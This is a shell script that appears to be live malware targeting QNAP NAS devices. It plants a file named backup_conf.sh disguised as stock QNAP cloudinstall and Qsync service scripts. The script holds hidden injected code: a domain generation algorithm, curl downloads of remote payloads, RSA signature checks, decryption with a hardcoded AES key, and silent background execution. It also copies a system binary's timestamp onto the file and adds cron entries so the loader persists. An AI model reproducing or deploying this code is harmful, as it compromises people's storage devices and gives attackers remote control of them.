test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config"
cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF"
#!/bin/sh
QNAP_QPKG=cloudinstall
QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf
NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall
CLOUD_INSTALL_PATH=/tunnel_agent
CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk
CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2
COUNTER=1
ERROR_BAD_REQUEST=400
if [ "$fromrcS" = 'TRUE' ]; then
case "$1" in
start)
START_TIME=$(date +"%T")
echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log
while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ];
do
# report device info and get cloudinstall agent app download url
DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r`
if [ ! -d "$CLOUD_INSTALL_PATH" ]; then
if [ "$NAS_ARCH" == "ARM_64" ]; then
# create ramdisk and create a 64mb file
/bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH
/bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH
/bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64
# create block size 1K filesystem
/sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image
# create virtual disk
export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image`
/sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE"
/bin/mkdir -p $CLOUD_INSTALL_PATH
# mount virtual disk
/bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH
else
# create and mount tmpfs folder
/bin/mkdir -p $CLOUD_INSTALL_PATH
/bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH
fi
fi
cd $CLOUD_INSTALL_PATH
if [[ $DOWNLOAD_URL == https* ]]; then
REPORT_SUCCESS_TIME=$(date +"%T")
else
REPORT_FAIL_TIME=$(date +"%T")
echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log
# stop retry when got bad request
# prevent put bad request all the time
if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then
break
fi
fi
# downlaod cloudinstall agent app
/usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL"
if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then
DOWNLOAD_FINISH_TIME=$(date +"%T")
# unzip and execute cloudinstallagent
/bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null
UNZIP_TIME=$(date +"%T")
fi
if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then
# create folder and create symbolic link
/bin/mkdir -p $NAS_CLOUD_INSTALL_PATH
/bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html
/bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi
/bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static
fi
# wait connect
sleep 5
CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'`
if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then
SLEEP_TIME=$(( 30 * $COUNTER ))
if [ $SLEEP_TIME -gt 300 ]; then
SLEEP_TIME=300
fi
# wait next retry
sleep $SLEEP_TIME
fi
COUNTER=$(( $COUNTER * 2 ))
done
END_TIME=$(date +"%T")
echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log
# call for a new process group and for later kill
/bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null &
/bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null &
# set cloudinstall report status
/sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit"
# add link to report offline
/bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline
# buzzer
HARDWARE_TYPE=$(uname -m)
if [[ "$HARDWARE_TYPE" == *"x86"* ]];
then
/sbin/hal_app --se_buzzer enc_id=0,mode=101
elif [[ "$HARDWARE_TYPE" == *"arm"* ]];
then
/sbin/pic_raw 81
fi
;;
stop)
# disconnect cloudinstall agent
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null
for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}"
do
# use bash kill instead /bin/kill for kill process group
# cloudinstall agent daemon and inotifywait
kill -9 -- -$i &>/dev/null
done
# umount
if [ "$NAS_ARCH" == "ARM_64" ]; then
/bin/umount -l $USED_LOOP_DEVICE
/usr/local/sbin/losetup -d $USED_LOOP_DEVICE
else
/bin/umount -l $CLOUD_INSTALL_PATH
fi
# remove all files
if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then
/bin/rm -rf $NAS_CLOUD_INSTALL_PATH
fi
if [ -d "$CLOUD_INSTALL_PATH" ]; then
/bin/rm -rf $CLOUD_INSTALL_PATH
fi
if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then
/bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH
fi
;;
restart)
$0 stop
$0 start
;;
*)
echo "Usage: $0 {start|stop|restart}"
{ /share/MD0_DATA/.system/.qinstaller.sh; exit 1; }
esac
{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; }
set_env()
{
debug=`$CMD_GETCFG Qsync Debug -u -d NULL`
if [ "$debug" != "NULL" ]; then
/bin/touch $LOG_FILE
else
/bin/rm -f $LOG_FILE
fi
}
set_env
dbg()
{
if [ -f "$LOG_FILE" ]; then
echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE
fi
}
dbg "> $0 $@ (pid $$)"
fi
export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
bdir=
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
grep -F '' <<EOF >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
EOF
test "$fgrep" || fgrep=grep
test "$RANDOM" || RANDOM=17653
genrstr ()
{
local s=;
local min=${1:-4};
local max=${2:-12};
local kspace="${3:-a-zA-Z}"
tr -dc "$kspace" < /dev/urandom | {
read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s;
echo "$s"
}
}
verifyfile() {
local file="$1"
local sig="${2:-$file_s}"
local out
test ! -z "$file" && test -s "$file" || return 1
test ! -z "$sig" && test -s "$sig" || return 1
test -f ".rsakey" || echo "$verifykey" > ".rsakey"
out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0
return 1
}
decryptfile() {
local file="$1"
local ofile="${2:-${file}}"
local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ'
openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $?
test -f "$ofile" && rm -f "$ofile"
mv "${file}_d" "$ofile" && return 0
return 1
}
verifykey='-----BEGIN PUBLIC KEY-----
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog
CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1'
verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex
RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC
Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV
gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC
2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz
0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh
pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1
DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE=
-----END PUBLIC KEY-----'
DOMAIN_EXT_A='cf tk ml ga gq'
DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd'
test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config"
cd "${bdir}/.qpkg/.config" && rm -f .tmp.*
echo "$verifykey" > ".rsakey"
i=0 n=0 c=0 errorcount=0
outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out'
for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do
for ext in $domainexts; do
hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g')
hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]}
hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}"
hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname"
for host in $hostnames; do
test -f "$outfile" && rm -f "$outfile"
recentupdate=''
curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)"
test -s "$outfile" || continue
fsize=$(( $(wc -c < "$outfile") ))
test "$fsize" -gt 4096 && rm -f "$outfile" && continue
rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue
test "$rsamsg" || continue
path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}"
hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}"
test "$rsadomain" = "${host}.${ext}" || continue
timenow=$(date +%s)
test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1
curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}"
filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue
test "$filehash" = "$hash" || continue
curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}"
verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue
mv "${outfile}_s" "${ts}_v"
chmod 755 "$outfile" || continue
( ( exec >/dev/null 2>/dev/null </dev/null; "$outfile" </dev/null >/dev/null 2>&1 & ) & )
test "$recentupdate" -eq 1 && exit 0
done
done
done
if [ "$fromrcS" = 'TRUE' ]; then
# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled
set_default_disable_status()
{
QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}`
OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL`
if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then
return
fi
if [ "$QPKG_ENABLE" = "NULL" ]; then
if [ "$OLD_ENABLE" = "FALSE" ]; then
dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
/bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
fi
fi
}
if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then
export QNAP_QPKG=rtrr
else
export QNAP_QPKG=HybridBackup
/usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1
fi
start()
{
if [ -f /usr/bin/qsyncman ]; then
[ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf
/bin/sed -i '/hdusb_copy/d' /etc/config/crontab
/usr/bin/crontab /etc/config/crontab
echo -n "Starting QSync manitor: "
[ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync
[ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf
[ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf
[ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf
[ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf
[ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf
[ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf
[ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf
[ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf
/sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1"
echo "OK"
fi
}
stop()
{
echo "Shutting down QSync monitor: OK"
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
kill $pidnum 2>/dev/null
i=0
while [ ${i} -lt 5 ]
do
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
if [ -z "$pidnum" ]; then
break
fi
sleep 1
i=`/usr/bin/expr ${i} + 1`
done
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
[ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null
/sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman"
/usr/bin/killall -q qsyncman
}
start_qsyncd()
{
#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
#[ "x$_qsyncd_en" = x1 ] || return -1
_qsyncd_run_pid=`/bin/pidof qsyncd`
[ -z $_qsyncd_run_pid ] || return -114
_recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE`
_with_syslog=$1
if [ "x$_recycle_en" = xTRUE ]; then
if [ "x$_with_syslog" = x1 ]; then
LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
else
LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
fi
else
if [ "x$_with_syslog" = x1 ]; then
/usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
else
/usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
fi
fi
_iret=$?
if [ "x$_iret" = x0 ]; then
i=0
while [ ${i} -lt 10000 ]
do
echo "${i} millisecond..."
_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
_qsyncd_run_pid=`/bin/pidof qsyncd`
if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then
break
fi
usleep 50000
i=`/usr/bin/expr ${i} + 50`
done
fi
return -$_iret
}
stop_qsyncd()
{
#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
#[ "x$_qsyncd_en" = x0 ] || return -1
_qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf`
[ $_qsyncd_pid -lt 0 ] && return -3
# Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log
/bin/kill -SIGUSR1 $_qsyncd_pid
usleep 200000
# Send SIGINT to stop the QSyncd process
/bin/kill -SIGINT $_qsyncd_pid
_kill_ret=$?
if [ "x$_kill_ret" != x0 ]; then
return -3
fi
echo "need wait $1 millisecond"
i=0
while true
do
echo "${i} millisecond..."
_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
_qsyncd_run_pid=`/bin/pidof qsyncd`
if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then
break
fi
if [ ${i} -ge $1 ]; then
# if time-out, we send two additional SIGINT to force the daemon to stop.
if [ $_qsyncd_pid -ge 0 ]; then
/bin/kill -SIGUSR1 $_qsyncd_pid
usleep 200000
/bin/kill -SIGUSR1 $_qsyncd_pid
fi
j=0
while [ ${j} -lt 500 ]
do
_qsyncd_run_pid=`/bin/pidof qsyncd`
if [ -z $_qsyncd_run_pid ]; then
return 0
fi
usleep 20000
j=`/usr/bin/expr ${j} + 20`
done
return -62
fi
usleep 50000
i=`/usr/bin/expr ${i} + 50`
done
return 0
}
install()
{
lock_file="/var/lock/qbox_install_bin.lck"
if [ ! -f "${INSTALL_BUILD_IN}" ]; then
dbg "build-in ${QSYNC_NAME} is installed"
return 1
fi
if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then
dbg "${QSYNC_NAME}.bin} not found"
return 1
fi
if [ ! -x "${QPKG_CLI}" ]; then
dbg "${QPKG_CLI} not found"
return 1
fi
## make sure volume is exist
if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then
dbg "/share/Public not found"
return 1
fi
## is removed
if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then
/bin/rm -f ${INSTALL_BUILD_IN}
dbg "${QSYNC_NAME} is removed"
return 1
fi
if [ -f "$lock_file" ]; then
if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then
echo "${QSYNC_NAME} is installing"
dbg "${QSYNC_NAME} is installing"
return 1
fi
fi
/bin/touch "$lock_file"
/bin/rm -f ${INSTALL_BUILD_IN}
dbg "install build-in ${QSYNC_NAME} start"
set_default_disable_status
## install build in Qsync
${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1
sleep 20
wait_install=60
## avoid initial take long time or fail
while [ "$wait_install" -gt 0 ]; do
stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf`
if [ "$stcode" = "0" ]; then
break
fi
sleep 1
let "wait_install--"
done
${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1
/bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled
/bin/rm -f "$lock_file"
dbg "install build-in ${QSYNC_NAME} success"
}
if [ "$1" == "stop" ]; then
{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; }
fi
fi
XEOF
chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh"
touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh"
( ( exec >/dev/null 2>&1 </dev/null; "${bdir}/.qpkg/.config/backup_conf.sh" </dev/null >/dev/null 2>/dev/null & ) & )
fi
test -x "${bdir}/.qpkg/.config/backup_conf.sh" || chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh"
crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p')
trycount=10; trycount=$(( $trycount - 10 ))
set x $crontabargs; shift
while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do
trycount=$(( $trycount + 1 ))
getopts ':c:' OPT 2>/dev/null
test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break
test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break
done
test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin'
for crontab in "$crontabfile" "${confdir}/crontab"; do
if $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "$crontab"; then
:
else
cronmins=$(printf '%i' "$(( $RANDOM % 60 ))")
cronhour=$(printf '%i' "$(( $RANDOM % 24 ))")
cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour"
echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh >/dev/null 2>/dev/null" >> "$crontab"
crontab "$crontab"
sleep 2
fi
done
) & ) &